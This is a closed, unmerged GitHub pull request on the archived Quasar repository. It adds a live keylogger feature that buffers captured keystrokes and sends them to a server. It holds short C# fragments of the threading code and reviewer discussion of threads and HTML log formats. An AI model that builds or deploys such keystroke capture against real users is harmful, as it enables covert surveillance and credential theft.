Skip to content
This repository was archived by the owner on Mar 17, 2024. It is now read-only.

Added Live Keylogger#498

Closed
d3agle wants to merge 5 commits intoquasar:masterfrom
d3agle:livelogging
Closed

Added Live Keylogger#498
d3agle wants to merge 5 commits intoquasar:masterfrom
d3agle:livelogging

Conversation

@d3agle
Copy link
Copy Markdown
Contributor

@d3agle d3agle commented Aug 2, 2016

ref: #492
see todo in FrmKeylogger.cs for possible improvement in keylogger

d3agle added 2 commits August 2, 2016 12:44

public static void HandleGetKeyloggerLiveResponse(Packets.ServerPackets.GetKeyloggerLive command, Client client)
{
new Thread(() =>
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe the thread that runs this should be declared at class-level. Would be nice to make sure that, if this method is called again, we can check if the thread is running and either close it and run a new thread or just let the previous thread continue.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for pointing this out, I fixed it in the newest commits. Would you mind taking a look at it and testing how it works?

{
new GetKeyloggerLiveResponse(_liveKeyEventBuffer.ToString()).Execute(client);
_liveKeyEventBuffer.Clear();
_liveLoggerThread = new Thread(() =>
Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@MaxXor @yankejustin Would we be able to save the thread instance with a pointer to a method here, or is it fine to launch a new thread with an anonymous method each time the EnableLiveLogging method is called?

@d3agle
Copy link
Copy Markdown
Contributor Author

d3agle commented Aug 10, 2016

This is practically done for the implementation of the live logger. @MaxXor, what are your thoughts on moving the html format to a text parsing based system? Is that something you would want in the future?

@MaxXor
Copy link
Copy Markdown
Contributor

MaxXor commented Aug 11, 2016

Thanks, but I'll add this after release of v1.3.0.0. :) It's time to fix some bugs. As of now I think the HTML logs are fine, I don't plan moving to another format soon.

@d3agle
Copy link
Copy Markdown
Contributor Author

d3agle commented Aug 11, 2016

Sounds good. I'll do some cleaning up with the keylogger logic and retrieving the logs. The HTML formatted logs are quite hefty in size (nearly double the size of what they could be with an improved system), however migrating to a newer parsed based system might not be viable considering previous logs would have to be accounted for to be formatted properly on the server-side.

I'll close this branch/pr for now and reopen it when the time is right.

@d3agle d3agle closed this Aug 11, 2016
@d3agle d3agle deleted the livelogging branch September 3, 2016 13:22
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants